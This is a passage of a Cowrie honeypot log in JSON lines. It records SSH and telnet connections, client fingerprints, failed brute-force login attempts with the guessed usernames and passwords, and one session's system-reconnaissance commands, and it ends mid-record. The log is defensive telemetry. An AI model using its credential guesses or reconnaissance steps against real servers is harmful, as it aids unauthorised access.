{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:02:25.139543Z","src_ip":"43.157.90.107","session":"68af5db91161","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:02:25.155982Z","src_ip":"186.96.151.198","session":"6a38159d9c7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root123456..","message":"login attempt [root/Root123456..] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:02:25.171127Z","src_ip":"13.67.236.135","session":"ce04838392c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"!@#$%^","message":"login attempt [solana/!@#$%^] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:02:25.223979Z","src_ip":"80.94.92.182","session":"3cda4929b84b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:02:25.355665Z","src_ip":"43.157.90.107","session":"68af5db91161","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:02:25.359498Z","src_ip":"43.157.90.107","session":"68af5db91161","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:02:25.452186Z","src_ip":"43.157.90.107","session":"68af5db91161","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:02:25.662655Z","src_ip":"43.157.90.107","session":"68af5db91161","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:02:25.665813Z","src_ip":"43.157.90.107","session":"68af5db91161","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:02:25.756481Z","src_ip":"43.157.90.107","session":"68af5db91161","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:02:25.975417Z","src_ip":"43.157.90.107","session":"68af5db91161","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:02:25.978919Z","src_ip":"43.157.90.107","session":"68af5db91161","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:02:26.071710Z","src_ip":"43.157.90.107","session":"68af5db91161","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:02:26.214137Z","src_ip":"13.67.236.135","session":"ce04838392c4","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:02:26.295090Z","src_ip":"43.157.90.107","session":"68af5db91161","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:02:26.298884Z","src_ip":"43.157.90.107","session":"68af5db91161","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:02:26.369858Z","src_ip":"80.94.92.182","session":"3cda4929b84b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:02:26.390872Z","src_ip":"43.157.90.107","session":"68af5db91161","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:02:26.602102Z","src_ip":"43.157.90.107","session":"68af5db91161","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:02:26.605445Z","src_ip":"43.157.90.107","session":"68af5db91161","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:02:26.699520Z","src_ip":"43.157.90.107","session":"68af5db91161","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.5","message":"Connection lost after 9.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:02:26.704716Z","src_ip":"43.157.90.107","session":"68af5db91161","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.02499985694885,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:02:50.139039Z","src_ip":"67.86.177.43","session":"9b7291fb6bc0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"67.86.177.43","src_port":52630,"dst_ip":"159.203.135.109","dst_port":23,"session":"012ca70548d7","protocol":"telnet","message":"New connection: 67.86.177.43:52630 (159.203.135.109:23) [session: 012ca70548d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:02:50.431479Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.157.90.107","src_port":40468,"dst_ip":"10.17.0.5","dst_port":22,"session":"f2caf13fd0cd","protocol":"ssh","message":"New connection: 43.157.90.107:40468 (10.17.0.5:22) [session: f2caf13fd0cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:03:05.153318Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:03:05.159126Z","src_ip":"43.157.90.107","session":"f2caf13fd0cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:03:05.255325Z","src_ip":"43.157.90.107","session":"f2caf13fd0cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"server!","message":"login attempt [server/server!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:03:05.675781Z","src_ip":"43.157.90.107","session":"f2caf13fd0cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:03:06.773595Z","src_ip":"43.157.90.107","session":"f2caf13fd0cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.55.224.44","src_port":51182,"dst_ip":"10.17.0.5","dst_port":22,"session":"593e50e905b8","protocol":"ssh","message":"New connection: 79.55.224.44:51182 (10.17.0.5:22) [session: 593e50e905b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:03:08.659593Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:03:08.667976Z","src_ip":"79.55.224.44","session":"593e50e905b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:03:08.783964Z","src_ip":"79.55.224.44","session":"593e50e905b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"1234","message":"login attempt [dev/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:03:09.317820Z","src_ip":"79.55.224.44","session":"593e50e905b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:03:10.437508Z","src_ip":"79.55.224.44","session":"593e50e905b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.96.151.198","src_port":34242,"dst_ip":"159.203.135.109","dst_port":22,"session":"22ac107e655b","protocol":"ssh","message":"New connection: 186.96.151.198:34242 (159.203.135.109:22) [session: 22ac107e655b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:03:18.403146Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:03:18.408026Z","src_ip":"186.96.151.198","session":"22ac107e655b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:03:18.469354Z","src_ip":"186.96.151.198","session":"22ac107e655b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"youcef","message":"login attempt [admin/youcef] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:03:18.748206Z","src_ip":"186.96.151.198","session":"22ac107e655b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:03:19.817327Z","src_ip":"186.96.151.198","session":"22ac107e655b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"13.67.236.135","src_port":56776,"dst_ip":"159.203.135.109","dst_port":22,"session":"6f0039c78a67","protocol":"ssh","message":"New connection: 13.67.236.135:56776 (159.203.135.109:22) [session: 6f0039c78a67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:03:22.508638Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:03:22.516622Z","src_ip":"13.67.236.135","session":"6f0039c78a67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:03:22.552762Z","src_ip":"13.67.236.135","session":"6f0039c78a67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qs123456","message":"login attempt [root/Qs123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:03:22.731351Z","src_ip":"13.67.236.135","session":"6f0039c78a67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:03:23.771085Z","src_ip":"13.67.236.135","session":"6f0039c78a67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.157.90.107","src_port":57596,"dst_ip":"10.17.0.5","dst_port":22,"session":"d852cd781d8c","protocol":"ssh","message":"New connection: 43.157.90.107:57596 (10.17.0.5:22) [session: d852cd781d8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:03:52.004685Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:03:52.009555Z","src_ip":"43.157.90.107","session":"d852cd781d8c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:03:52.103056Z","src_ip":"43.157.90.107","session":"d852cd781d8c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3bot","password":"ts3bot","message":"login attempt [ts3bot/ts3bot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:03:52.489866Z","src_ip":"43.157.90.107","session":"d852cd781d8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:03:53.581900Z","src_ip":"43.157.90.107","session":"d852cd781d8c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.96.151.198","src_port":37778,"dst_ip":"159.203.135.109","dst_port":22,"session":"9e3f61e282b7","protocol":"ssh","message":"New connection: 186.96.151.198:37778 (159.203.135.109:22) [session: 9e3f61e282b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:04:11.625240Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:04:11.629788Z","src_ip":"186.96.151.198","session":"9e3f61e282b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 